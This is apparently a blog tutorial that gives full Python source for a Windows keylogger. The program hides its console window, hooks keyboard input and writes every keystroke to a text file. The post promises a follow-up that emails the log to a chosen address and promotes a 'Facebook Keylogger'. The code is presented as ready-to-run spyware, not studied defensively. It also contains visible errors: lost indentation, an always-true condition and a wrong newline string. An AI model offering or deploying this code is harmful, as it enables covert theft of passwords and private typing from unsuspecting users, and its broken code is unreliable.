How To Make A Python Keylogger

Posted by in Articles, Programming, Python

This is tutorial that explains how to make simple keylogger that records keystrokes activities on pc and store it in .txt file. To make our keylogger we’ll use python. Why python? Python is simple powerfull and flexible programming language. By my opinion the best ,with few lines of code you can do amazing things.If you never used python , read my previous article How To Create Your First Python Program where I explained how to run simple “Hello World” script .

To make programming easier python has “Modules” that contains useful code that can extend python functionalities.
For python keylogger we’ll need to download pywin32 & pyHook modules

Step 1

Download and install pywin32 from this LINK

pywin32

Step 2

Download and install pyhook from this LINK

pyhook

Step 3

Launch IDLE python as Administrator and click on FIle -> New Window

idle python

new windows

Here is complete keylogger code , described with comments :
Python Keylogger Code :

 

import win32api
import win32console
import win32gui
import pythoncom,pyHook
 
win=win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)
 
def OnKeyboardEvent(event):
if event.Ascii==5:
_exit(1)
if event.Ascii !=0 or 8:
#open output.txt to read current keystrokes
f=open('c:\output.txt','r+')
buffer=f.read()
f.close()
#open output.txt to write current + new keystrokes
f=open('c:\output.txt','w')
keylogs=chr(event.Ascii)
if event.Ascii==13:
keylogs='/n'
buffer+=keylogs
f.write(buffer)
f.close()
# create a hook manager object
hm=pyHook.HookManager()
hm.KeyDown=OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()

In the new window copy paste python keylogger code and click on Run -> Run Module .

kezlogger run

After this your keylogger will be launched and all keystroke activity will be stored in ‘c:\output.txt’. In the next tutorial we’ll extend python keylogger with fonctionality that send “output.txt” to specific email address. You can found keylogger code on my github account https://github.com/blaz1988/keylogger/blob/master/keylogger.py

If you’re loking for more poerful keylogger check out Facebook Keylogger